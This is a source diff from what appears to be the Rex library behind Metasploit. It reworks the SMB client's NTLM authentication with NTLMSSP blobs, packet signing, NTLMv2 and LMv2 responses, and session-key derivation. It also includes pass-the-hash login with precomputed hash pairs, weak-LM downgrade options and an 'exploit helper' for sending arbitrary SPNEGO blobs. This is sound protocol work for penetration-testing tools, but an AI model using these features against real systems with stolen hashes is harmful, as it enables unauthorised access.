"\xa1" + self.asn1encode(
"\x30" + self.asn1encode(
"\xa0" + self.asn1encode(
"\x0a" + self.asn1encode(
"\x01"
)
) +
"\xa1" + self.asn1encode(
"\x06" + self.asn1encode(
"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
)
) +
"\xa2" + self.asn1encode(
"\x04" + self.asn1encode(
make_ntlmssp_blob_chall(win_domain, win_name, dns_domain, dns_name, chall, flags)
)
)
)
)
return blob
end
#BLOB without GSS usefull for ntlm type 2 message
def self.make_ntlmssp_blob_chall(win_domain, win_name, dns_domain, dns_name, chall, flags)
addr_list = ''
addr_list << [2, win_domain.length].pack('vv') + win_domain
addr_list << [1, win_name.length].pack('vv') + win_name
addr_list << [4, dns_domain.length].pack('vv') + dns_domain
addr_list << [3, dns_name.length].pack('vv') + dns_name
addr_list << [0, 0].pack('vv')
ptr = 0
blob = "NTLMSSP\x00" +
[2].pack('V') +
[
win_domain.length, # length
win_domain.length, # max length
(ptr += 48) # offset
].pack('vvV') +
[ flags ].pack('V') +
chall +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
[
addr_list.length, # length
addr_list.length, # max length
(ptr += win_domain.length)
].pack('vvV') +
win_domain +
addr_list
return blob
end
#GSS BLOB Usefull for ntlmssp type 3 message
def self.make_ntlmssp_secblob_auth(domain, name, user, lm, ntlm, enc_session_key, flags = 0x080201)
lm ||= "\x00" * 24
ntlm ||= "\x00" * 24
domain_uni = Rex::Text.to_unicode(domain)
user_uni = Rex::Text.to_unicode(user)
name_uni = Rex::Text.to_unicode(name)
session = enc_session_key
ptr = 64
blob =
"\xa1" + self.asn1encode(
"\x30" + self.asn1encode(
"\xa2" + self.asn1encode(
"\x04" + self.asn1encode(
"NTLMSSP\x00" +
[ 3 ].pack('V') +
[ # Lan Manager Response
lm.length,
lm.length,
(ptr)
].pack('vvV') +
[ # NTLM Manager Response
ntlm.length,
ntlm.length,
(ptr += lm.length)
].pack('vvV') +
[ # Domain Name
domain_uni.length,
domain_uni.length,
(ptr += ntlm.length)
].pack('vvV') +
[ # Username
user_uni.length,
user_uni.length,
(ptr += domain_uni.length)
].pack('vvV') +
[ # Hostname
name_uni.length,
name_uni.length,
(ptr += user_uni.length)
].pack('vvV') +
[ # Session Key (none)
session.length,
session.length,
(ptr += name_uni.length)
].pack('vvV') +
[ flags ].pack('V') +
lm +
ntlm +
domain_uni +
user_uni +
name_uni +
session + "\x00"
)
)
)
)
return blob
end
# GSS BLOB Usefull for SMB Success
def self.make_ntlmv2_secblob_success
blob =
"\xa1" + self.asn1encode(
"\x30" + self.asn1encode(
"\xa0" + self.asn1encode(
"\x0a" + self.asn1encode(
"\x00"
)
)
)
)
return blob
end
#others
#this function return an ntlmv2 client challenge
def self.make_ntlmv2_clientchallenge(win_domain, win_name, dns_domain, dns_name, client_challenge = nil, chall_MsvAvTimestamp = nil)
client_challenge ||= Rex::Text.rand_text(8)
#we have to set the timestamps here to the one in the challenge message from server if present
#if we don't do that, recent server like seven will send a STATUS_INVALID_PARAMETER error packet
timestamp = chall_MsvAvTimestamp != nil ? chall_MsvAvTimestamp : self.time_unix_to_smb(Time.now.to_i).reverse.pack("VV")
#make those values unicode as requested
win_domain = Rex::Text.to_unicode(win_domain)
win_name = Rex::Text.to_unicode(win_name)
dns_domain = Rex::Text.to_unicode(dns_domain)
dns_name = Rex::Text.to_unicode(dns_name)
#make the AV_PAIRs
addr_list = ''
addr_list << [2, win_domain.length].pack('vv') + win_domain
addr_list << [1, win_name.length].pack('vv') + win_name
addr_list << [4, dns_domain.length].pack('vv') + dns_domain
addr_list << [3, dns_name.length].pack('vv') + dns_name
addr_list << [7, 8].pack('vv') + timestamp
#MAY BE USEFUL FOR FUTURE
#seven (client) add at least one more av that is of type MsAvRestrictions (8)
#maybe this will be usefull with future windows OSs but has no use at all for the moment afaik
#restriction_encoding = [48,0,0,0].pack("VVV") + # Size, Z4, IntegrityLevel, SubjectIntegrityLevel
# Rex::Text.rand_text(32) # MachineId generated on startup on win7 and above
#addr_list << [8, restriction_encoding.length].pack('vv') + restriction_encoding
#seven (client) and maybe others versions also add an av of type MsvChannelBindings (10) but the hash is "\x00" * 16
#addr_list << [10, 16].pack('vv') + "\x00" * 16
#seven and maybe other versions also add an av of type MsvAvTargetName(9) with value cifs/target(_ip)
#implementing it will necessary require knowing the target here, todo... :-/
#spn= Rex::Text.to_unicode("cifs/RHOST")
#addr_list << [9, spn.length].pack('vv') + spn
addr_list << [0, 0].pack('vv')
ntlm_clientchallenge = [1,1,0,0].pack("CCvV") + #RespType, HiRespType, Reserved1, Reserved2
timestamp + #Timestamp
client_challenge + #clientchallenge
[0].pack("V") + #Reserved3
addr_list + "\x00" * 4
end
end
end
end
end

View File

@ -8,8 +8,11 @@ require 'rex/struct2'
require 'rex/proto/smb/constants'
require 'rex/proto/smb/exceptions'
require 'rex/proto/smb/evasions'
require 'rex/proto/smb/crypt'
require 'rex/proto/smb/utils'
require 'rex/proto/smb/crypt'
require 'rex/proto/ntlm/crypt'
require 'rex/proto/ntlm/constants'
require 'rex/proto/ntlm/utils'
# Some short-hand class aliases
@ -18,6 +21,9 @@ CRYPT = Rex::Proto::SMB::Crypt
UTILS = Rex::Proto::SMB::Utils
XCEPT = Rex::Proto::SMB::Exceptions
EVADE = Rex::Proto::SMB::Evasions
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
NTLM_CONST = Rex::Proto::NTLM::Constants
NTLM_UTILS = Rex::Proto::NTLM::Utils
def initialize(socket)
self.socket = socket
@ -39,6 +45,17 @@ EVADE = Rex::Proto::SMB::Evasions
# Modify the \PIPE\ string in trans_named_pipe calls
'obscure_trans_pipe' => EVADE::EVASION_NONE,
}
self.verify_signature = false
self.use_ntlmv2 = false
self.usentlm2_session = true
self.send_lm = true
self.use_lanman_key = false
self.send_ntlm = true
#signing
self.sequence_counter = 0
self.signing_key = ''
self.require_signing = false
end
# Read a SMB packet from the socket
@ -73,7 +90,17 @@ EVADE = Rex::Proto::SMB::Evasions
data << buff
end
#signing
if self.require_signing && self.signing_key != ''
if self.verify_signature
raise XCEPT::IncorrectSigningError if not CRYPT::is_signature_correct?(self.signing_key,self.sequence_counter,data)
end
self.sequence_counter += 1
end
return data
end
# Send a SMB packet down the socket
@ -85,6 +112,12 @@ EVADE = Rex::Proto::SMB::Evasions
size = 0
wait = 0
#signing
if self.require_signing && self.signing_key != ''
data = CRYPT::sign_smb_packet(self.signing_key, self.sequence_counter, data)
self.sequence_counter += 1
end
begin
# Just send the packet and return
if (size == 0 or size >= data.length)
@ -121,7 +154,7 @@ EVADE = Rex::Proto::SMB::Evasions
pkt = CONST::SMB_BASE_PKT.make_struct
pkt.from_s(data)
res = pkt
begin
case pkt['Payload']['SMB'].v['Command']
@ -219,14 +252,14 @@ EVADE = Rex::Proto::SMB::Evasions
# Process incoming SMB_COM_SESSION_SETUP_ANDX packets
def smb_parse_session_setup(pkt, data)
# Process NTLMv2 negotiate responses
# Process NTLMSSP negotiate responses
if (pkt['Payload']['SMB'].v['WordCount'] == 4)
res = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct
res.from_s(data)
return res
end
# Process NTLMv1 and LANMAN responses
# Process LANMAN responses
if (pkt['Payload']['SMB'].v['WordCount'] == 3)
res = CONST::SMB_SETUP_RES_PKT.make_struct
res.from_s(data)
@ -436,7 +469,7 @@ EVADE = Rex::Proto::SMB::Evasions
end
# Negotiate a SMB dialect
def negotiate(extended=true, do_recv = true)
def negotiate(smb_extended_security=true, do_recv = true)
dialects = ['LANMAN1.0', 'LM1.2X002' ]
@ -452,7 +485,7 @@ EVADE = Rex::Proto::SMB::Evasions
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
pkt['Payload']['SMB'].v['Flags1'] = 0x18
if(extended)
if(smb_extended_security)
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
else
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
@ -460,7 +493,7 @@ EVADE = Rex::Proto::SMB::Evasions
pkt['Payload'].v['Payload'] = data
ret = self.smb_send(pkt.to_s)
ret = self.smb_send(pkt.to_s, EVADE::EVASION_NONE)
return ret if not do_recv
ack = self.smb_recv_parse(CONST::SMB_COM_NEGOTIATE)
@ -483,6 +516,11 @@ EVADE = Rex::Proto::SMB::Evasions
# Set the security mode
self.security_mode = ack['Payload'].v['SecurityMode']
#set require_signing
if (ack['Payload'].v['SecurityMode'] & 0x08 != 0)
self.require_signing = true
end
# Set the challenge key
if (ack['Payload'].v['EncryptionKey'] != nil)
self.challenge_key = ack['Payload'].v['EncryptionKey']
@ -530,15 +568,6 @@ EVADE = Rex::Proto::SMB::Evasions
end
self.system_zone = system_zone * 60
# XXX: this is being commented out because ruby prior to 1.9.2 doesn't
# seem to support representing non-utc or local times (eg, a time in
# another timezone) If you know a way to do it in pre-1.9.2 please
# tell us!
=begin
# Adjust the system_time object to reflect the remote timezone
self.system_time = self.system_time.utc.localtime(system_zone)
=end
return ack
end
@ -547,15 +576,15 @@ EVADE = Rex::Proto::SMB::Evasions
def session_setup(*args)
if (self.dialect =~ /^(NT LANMAN 1.0|NT LM 0.12)$/)
if (self.challenge_key)
return self.session_setup_ntlmv1(*args)
return self.session_setup_no_ntlmssp(*args)
end
if ( self.extended_security )
return self.session_setup_ntlmv2(*args)
return self.session_setup_with_ntlmssp(*args)
end
end
return self.session_setup_clear(*args)
@ -571,7 +600,14 @@ EVADE = Rex::Proto::SMB::Evasions
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
if self.require_signing
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
else
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
end
pkt['Payload']['SMB'].v['WordCount'] = 10
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['MaxBuff'] = 0xffdf
@ -601,121 +637,146 @@ EVADE = Rex::Proto::SMB::Evasions
return ack
end
# Authenticate using NTLMv1
def session_setup_ntlmv1(user = '', pass = '', domain = '', do_recv = true)
# Authenticate without NTLMSSP
def session_setup_no_ntlmssp(user = '', pass = '', domain = '', do_recv = true)
raise XCEPT::NTLM1MissingChallenge if not self.challenge_key
#we can not yet handle signing in this situation
raise XCEPT::NTLM2MissingChallenge if self.require_signing
if (pass.length == 65)
hash_lm = CRYPT.e_p24( [ pass.upcase()[0,32] ].pack('H42'), self.challenge_key)
hash_nt = CRYPT.e_p24( [ pass.upcase()[33,65] ].pack('H42'), self.challenge_key)
hash_lm = pass.length > 0 ? NTLM_CRYPT.lanman_des(pass, self.challenge_key) : ''
hash_nt = pass.length > 0 ? NTLM_CRYPT.ntlm_md4(pass, self.challenge_key) : ''
data = ''
data << hash_lm
data << hash_nt
data << user + "\x00"
data << domain + "\x00"
data << self.native_os + "\x00"
data << self.native_lm + "\x00"
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
self.smb_defaults(pkt['Payload']['SMB'])
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
pkt['Payload']['SMB'].v['WordCount'] = 13
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['MaxBuff'] = 0xffdf
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['VCNum'] = 1
pkt['Payload'].v['PasswordLenLM'] = hash_lm.length
pkt['Payload'].v['PasswordLenNT'] = hash_nt.length
pkt['Payload'].v['Capabilities'] = 64
pkt['Payload'].v['SessionKey'] = self.session_id
pkt['Payload'].v['Payload'] = data
ret = self.smb_send(pkt.to_s)
return ret if not do_recv
ack = self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX)
if (ack['Payload'].v['Action'] != 1 and user.length > 0)
self.auth_user = user
end
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
info = ack['Payload'].v['Payload'].split(/\x00/)
self.peer_native_os = info[0]
self.peer_native_lm = info[1]
self.default_domain = info[2]
return ack
end
# Authenticate without ntlmssp with a precomputed hash pair
def session_setup_no_ntlmssp_prehash(user, domain, hash_lm, hash_nt, do_recv = true)
raise XCEPT::NTLM2MissingChallenge if self.require_signing
data = ''
data << hash_lm
data << hash_nt
data << user + "\x00"
data << domain + "\x00"
data << self.native_os + "\x00"
data << self.native_lm + "\x00"
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
self.smb_defaults(pkt['Payload']['SMB'])
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
pkt['Payload']['SMB'].v['WordCount'] = 13
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['MaxBuff'] = 0xffdf
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['VCNum'] = 1
pkt['Payload'].v['PasswordLenLM'] = hash_lm.length
pkt['Payload'].v['PasswordLenNT'] = hash_nt.length
pkt['Payload'].v['Capabilities'] = 64
pkt['Payload'].v['SessionKey'] = self.session_id
pkt['Payload'].v['Payload'] = data
ret = self.smb_send(pkt.to_s)
return ret if not do_recv
ack = self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX)
if (ack['Payload'].v['Action'] != 1 and user.length > 0)
self.auth_user = user
end
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
info = ack['Payload'].v['Payload'].split(/\x00/)
self.peer_native_os = info[0]
self.peer_native_lm = info[1]
self.default_domain = info[2]
return ack
end
# Authenticate using extended security negotiation
def session_setup_with_ntlmssp(user = '', pass = '', domain = '', name = nil, do_recv = true)
if require_signing
ntlmssp_flags = 0xe2088215
else
hash_lm = pass.length > 0 ? CRYPT.lanman_des(pass, self.challenge_key) : ''
hash_nt = pass.length > 0 ? CRYPT.ntlm_md4(pass, self.challenge_key) : ''
ntlmssp_flags = 0xa2080205
end
data = ''
data << hash_lm
data << hash_nt
data << user + "\x00"
data << domain + "\x00"
data << self.native_os + "\x00"
data << self.native_lm + "\x00"
if self.usentlm2_session
if self.use_ntlmv2
#set Negotiate Target Info
ntlmssp_flags |= NTLM_CONST::NEGOTIATE_TARGET_INFO
end
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
self.smb_defaults(pkt['Payload']['SMB'])
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
pkt['Payload']['SMB'].v['WordCount'] = 13
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['MaxBuff'] = 0xffdf
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['VCNum'] = 1
pkt['Payload'].v['PasswordLenLM'] = hash_lm.length
pkt['Payload'].v['PasswordLenNT'] = hash_nt.length
pkt['Payload'].v['Capabilities'] = 64
pkt['Payload'].v['SessionKey'] = self.session_id
pkt['Payload'].v['Payload'] = data
ret = self.smb_send(pkt.to_s)
return ret if not do_recv
ack = self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX)
if (ack['Payload'].v['Action'] != 1 and user.length > 0)
self.auth_user = user
else
#remove the ntlm2_session flag
ntlmssp_flags &= 0xfff7ffff
#set lanmanflag only when lm and ntlm are sent
if self.send_lm
ntlmssp_flags |= NTLM_CONST::NEGOTIATE_LMKEY if self.use_lanman_key
end
end
#we can also downgrade ntlm2_session when we send only lmv1
ntlmssp_flags &= 0xfff7ffff if self.usentlm2_session && (not self.use_ntlmv2) && (not self.send_ntlm)
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
info = ack['Payload'].v['Payload'].split(/\x00/)
self.peer_native_os = info[0]
self.peer_native_lm = info[1]
self.default_domain = info[2]
return ack
end
# Authenticate using NTLMv1 with a precomputed hash pair
def session_setup_ntlmv1_prehash(user, domain, hash_lm, hash_nt, do_recv = true)
data = ''
data << hash_lm
data << hash_nt
data << user + "\x00"
data << domain + "\x00"
data << self.native_os + "\x00"
data << self.native_lm + "\x00"
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
self.smb_defaults(pkt['Payload']['SMB'])
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
pkt['Payload']['SMB'].v['WordCount'] = 13
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['MaxBuff'] = 0xffdf
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['VCNum'] = 1
pkt['Payload'].v['PasswordLenLM'] = hash_lm.length
pkt['Payload'].v['PasswordLenNT'] = hash_nt.length
pkt['Payload'].v['Capabilities'] = 64
pkt['Payload'].v['SessionKey'] = self.session_id
pkt['Payload'].v['Payload'] = data
ret = self.smb_send(pkt.to_s)
return ret if not do_recv
ack = self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX)
if (ack['Payload'].v['Action'] != 1 and user.length > 0)
self.auth_user = user
end
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
info = ack['Payload'].v['Payload'].split(/\x00/)
self.peer_native_os = info[0]
self.peer_native_lm = info[1]
self.default_domain = info[2]
return ack
end
# Authenticate using extended security negotiation (NTLMv2)
def session_setup_ntlmv2(user = '', pass = '', domain = '', name = nil, do_recv = true)
if (name == nil)
name = Rex::Text.rand_text_alphanumeric(16)
end
blob = UTILS.make_ntlmv2_secblob_init(domain, name)
blob = NTLM_UTILS.make_ntlmssp_secblob_init(domain, name, ntlmssp_flags)
native_data = ''
native_data << self.native_os + "\x00"
@ -726,26 +787,33 @@ EVADE = Rex::Proto::SMB::Evasions
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
if require_signing
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
else
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
end
pkt['Payload']['SMB'].v['WordCount'] = 12
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['MaxBuff'] = 0xffdf
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['VCNum'] = 1
pkt['Payload'].v['SecurityBlobLen'] = blob.length
pkt['Payload'].v['Capabilities'] = 0x8000d05c
pkt['Payload'].v['Capabilities'] = 0x800000d4
pkt['Payload'].v['SessionKey'] = self.session_id
pkt['Payload'].v['Payload'] = blob + native_data
ret = self.smb_send(pkt.to_s)
return ret if not do_recv
ack = self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
# The server doesn't know about NTLM_NEGOTIATE, try ntlmv1
# The server doesn't know about NTLM_NEGOTIATE
if (ack['Payload']['SMB'].v['ErrorClass'] == 0x00020002)
return session_setup_ntlmv1(user, pass, domain)
return session_setup_no_ntlmssp(user, pass, domain)
end
# Make sure the error code tells us to continue processing
@ -782,62 +850,208 @@ EVADE = Rex::Proto::SMB::Evasions
# Extract the address list from the blob
alist_len,alist_mlen,alist_off = blob[cidx + 40, 8].unpack("vvV")
alist_buf = blob[cidx + alist_off, alist_len]
chall_MsvAvTimestamp = nil
while(alist_buf.length > 0)
atype, alen = alist_buf.slice!(0,4).unpack('vv')
break if atype == 0x00
addr = alist_buf.slice!(0, alen)
case atype
when 1
#netbios name
self.default_name = addr.gsub("\x00", '')
when 2
#netbios domain
self.default_domain = addr.gsub("\x00", '')
when 3
#dns name
self.dns_host_name = addr.gsub("\x00", '')
when 4
#dns domain
self.dns_domain_name = addr.gsub("\x00", '')
when 5
# unknown
#The FQDN of the forest.
when 6
#A 32-bit value indicating server or client configuration
when 7
# client time
chall_MsvAvTimestamp = addr
when 8
#A Restriction_Encoding structure
when 9
#The SPN of the target server.
when 10
#A channel bindings hash.
end
end
#calculate the lm/ntlm response
resp_lm = "\x00" * 24
resp_ntlm = "\x00" * 24
# Generate a random client-side challenge
client_challenge = Rex::Text.rand_text(8)
ntlm_cli_challenge = ''
if self.send_ntlm #should be default
if self.usentlm2_session
# Generate the nonce
nonce = CRYPT.md5_hash(self.challenge_key + client_challenge)
if self.use_ntlmv2
#This is only a partial implementation, in some situation servers may send STATUS_INVALID_PARAMETER
#answer must then be somewhere in [MS-NLMP].pdf around 3.1.5.2.1 :-/
# Generate the NTLM hash
if (pass.length == 65)
resp_ntlm = CRYPT.e_p24( [ pass.upcase()[33,65] ].pack('H42'), nonce[0, 8])
else
resp_ntlm = CRYPT.ntlm_md4(pass, nonce[0, 8])
ntlm_cli_challenge = NTLM_UTILS::make_ntlmv2_clientchallenge(default_domain, default_name, dns_domain_name,
dns_host_name,client_challenge , chall_MsvAvTimestamp)
argntlm = { :ntlmv2_hash => NTLM_CRYPT::ntlmv2_hash(user, pass, domain),
:challenge => self.challenge_key }
optntlm = { :nt_client_challenge => ntlm_cli_challenge}
ntlmv2_response = NTLM_CRYPT::ntlmv2_response(argntlm,optntlm)
resp_ntlm = ntlmv2_response
if self.send_lm
arglm = { :ntlmv2_hash => NTLM_CRYPT::ntlmv2_hash(user,pass, domain),
:challenge => self.challenge_key }
optlm = { :client_challenge => client_challenge}
resp_lm = NTLM_CRYPT::lmv2_response(arglm, optlm)
else
resp_lm = "\x00" * 24
end
else # ntlm2_session
argntlm = { :ntlm_hash => NTLM_CRYPT::ntlm_hash(pass),
:challenge => self.challenge_key }
optntlm = { :client_challenge => client_challenge}
resp_ntlm = NTLM_CRYPT::ntlm2_session(argntlm,optntlm).join[24,24]
# Generate the fake LANMAN hash
resp_lm = client_challenge + ("\x00" * 16)
end
else #we use lmv1/ntlmv1
argntlm = { :ntlm_hash => NTLM_CRYPT::ntlm_hash(pass),
:challenge => self.challenge_key }
resp_ntlm = NTLM_CRYPT::ntlm_response(argntlm)
if self.send_lm
arglm = { :lm_hash => NTLM_CRYPT::lm_hash(pass),
:challenge => self.challenge_key }
resp_lm = NTLM_CRYPT::lm_response(arglm)
else
#when windows does not send lm in ntlmv1 type response,
# it gives lm response the same value as ntlm response
resp_lm = resp_ntlm
end
end
else #send_ntlm = false
#lmv2
if self.usentlm2_session && self.use_ntlmv2
arglm = { :ntlmv2_hash => NTLM_CRYPT::ntlmv2_hash(user,pass, domain),
:challenge => self.challenge_key }
optlm = { :client_challenge => client_challenge}
resp_lm = NTLM_CRYPT::lmv2_response(arglm, optlm)
else
arglm = { :lm_hash => NTLM_CRYPT::lm_hash(pass),
:challenge => self.challenge_key }
resp_lm = NTLM_CRYPT::lm_response(arglm)
end
resp_ntlm = ""
end
# Generate the fake LANMAN hash
resp_lmv2 = client_challenge + ("\x00" * 16)
# Create the ntlmv2 security blob data
blob = UTILS.make_ntlmv2_secblob_auth(domain, name, user, resp_lmv2, resp_ntlm)
#create the sessionkey (aka signing key, aka mackey) and encrypted session key
#server will decide for key_size and key_exchange
enc_session_key = ''
if self.require_signing
server_ntlmssp_flags = blob[cidx + 20, 4].unpack("V")[0]
#set default key size and key exchange values
key_size = 40
key_exchange = false
#remove ntlmssp.negotiate56
ntlmssp_flags &= 0x7fffffff
#remove ntlmssp.negotiatekeyexch
ntlmssp_flags &= 0xbfffffff
#remove ntlmssp.negotiate128
ntlmssp_flags &= 0xdfffffff
#check the keyexchange
if server_ntlmssp_flags & NTLM_CONST::NEGOTIATE_KEY_EXCH != 0 then
key_exchange = true
ntlmssp_flags |= NTLM_CONST::NEGOTIATE_KEY_EXCH
end
#check 128bits
if server_ntlmssp_flags & NTLM_CONST::NEGOTIATE_128 != 0 then
key_size = 128
ntlmssp_flags |= NTLM_CONST::NEGOTIATE_128
ntlmssp_flags |= NTLM_CONST::NEGOTIATE_56
#check 56bits
else
if server_ntlmssp_flags & NTLM_CONST::NEGOTIATE_56 != 0 then
key_size = 56
ntlmssp_flags |= NTLM_CONST::NEGOTIATE_56
end
end
#generate the user session key
lanman_weak = false
if self.send_ntlm #should be default
if self.usentlm2_session
if self.use_ntlmv2
user_session_key = NTLM_CRYPT::ntlmv2_user_session_key(user, pass, domain,
self.challenge_key, ntlm_cli_challenge)
else
user_session_key = NTLM_CRYPT::ntlm2_session_user_session_key(pass, self.challenge_key, client_challenge)
end
else #lmv1 / ntlmv1
if self.send_lm
if self.use_lanman_key
user_session_key = NTLM_CRYPT::lanman_session_key(pass, self.challenge_key)
lanman_weak = true
else
user_session_key = NTLM_CRYPT::ntlmv1_user_session_key(pass )
end
end
end
else
if self.usentlm2_session && self.use_ntlmv2
user_session_key = NTLM_CRYPT::lmv2_user_session_key(user, pass, domain,
self.challenge_key, client_challenge)
else
user_session_key = NTLM_CRYPT::lmv1_user_session_key(pass )
end
end
user_session_key = NTLM_CRYPT::make_weak_sessionkey(user_session_key,key_size, lanman_weak)
self.sequence_counter = 0
#sessionkey and encrypted session key
if key_exchange
self.signing_key = Rex::Text.rand_text(16)
enc_session_key = NTLM_CRYPT::encrypt_sessionkey(self.signing_key, user_session_key)
else
self.signing_key = user_session_key
end
end
# Create the security blob data
blob = NTLM_UTILS.make_ntlmssp_secblob_auth(domain, name, user, resp_lm, resp_ntlm, enc_session_key, ntlmssp_flags)
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
self.smb_defaults(pkt['Payload']['SMB'])
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
if self.require_signing
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
else
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
end
pkt['Payload']['SMB'].v['WordCount'] = 12
pkt['Payload']['SMB'].v['UserID'] = temp_user_id
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['MaxBuff'] = 0xffdf
pkt['Payload'].v['MaxMPX'] = 2
pkt['Payload'].v['VCNum'] = 1
pkt['Payload'].v['SecurityBlobLen'] = blob.length
pkt['Payload'].v['Capabilities'] = 0x8000d05c
pkt['Payload'].v['SessionKey'] = self.session_id
pkt['Payload'].v['SecurityBlobLen'] = blob.length
pkt['Payload'].v['Payload'] = blob + native_data
# NOTE: if do_recv is set to false, we cant reach here...
@ -848,7 +1062,7 @@ EVADE = Rex::Proto::SMB::Evasions
# Make sure that authentication succeeded
if (ack['Payload']['SMB'].v['ErrorClass'] != 0)
if (user.length == 0)
return self.session_setup_ntlmv1(user, pass, domain)
return self.session_setup_no_ntlmssp(user, pass, domain)
end
failure = XCEPT::ErrorCode.new
@ -869,7 +1083,7 @@ EVADE = Rex::Proto::SMB::Evasions
# An exploit helper function for sending arbitrary SPNEGO blobs
def session_setup_ntlmv2_blob(blob = '', do_recv = true)
def session_setup_with_ntlmssp_blob(blob = '', do_recv = true)
native_data = ''
native_data << self.native_os + "\x00"
native_data << self.native_lm + "\x00"
@ -898,14 +1112,14 @@ EVADE = Rex::Proto::SMB::Evasions
end
# Authenticate using extended security negotiation (NTLMv2), but stop half-way, using the temporary ID
def session_setup_ntlmv2_temp(domain = '', name = nil, do_recv = true)
# Authenticate using extended security negotiation (NTLMSSP), but stop half-way, using the temporary ID
def session_setup_with_ntlmssp_temp(domain = '', name = nil, do_recv = true)
if (name == nil)
name = Rex::Text.rand_text_alphanumeric(16)
end
blob = UTILS.make_ntlmv2_secblob_init(domain, name)
blob = NTLM_UTILS.make_ntlmssp_secblob_init(domain, name)
native_data = ''
native_data << self.native_os + "\x00"
@ -934,7 +1148,7 @@ EVADE = Rex::Proto::SMB::Evasions
# The server doesn't know about NTLM_NEGOTIATE, try ntlmv1
if (ack['Payload']['SMB'].v['ErrorClass'] == 0x00020002)
return session_setup_ntlmv1(user, pass, domain)
return session_setup_no_ntlmssp(user, pass, domain)
end
# Make sure the error code tells us to continue processing
@ -981,7 +1195,14 @@ EVADE = Rex::Proto::SMB::Evasions
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TREE_CONNECT_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
if self.require_signing
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
else
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
end
pkt['Payload']['SMB'].v['WordCount'] = 4
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['PasswordLen'] = pass.length + 1
@ -1008,7 +1229,14 @@ EVADE = Rex::Proto::SMB::Evasions
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TREE_DISCONNECT
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
if self.require_signing
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
else
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
end
pkt['Payload']['SMB'].v['WordCount'] = 0
pkt['Payload']['SMB'].v['TreeID'] = tree_id
@ -1037,7 +1265,14 @@ EVADE = Rex::Proto::SMB::Evasions
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
if self.require_signing
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2807
else
#ascii
pkt['Payload']['SMB'].v['Flags2'] = 0x2801
end
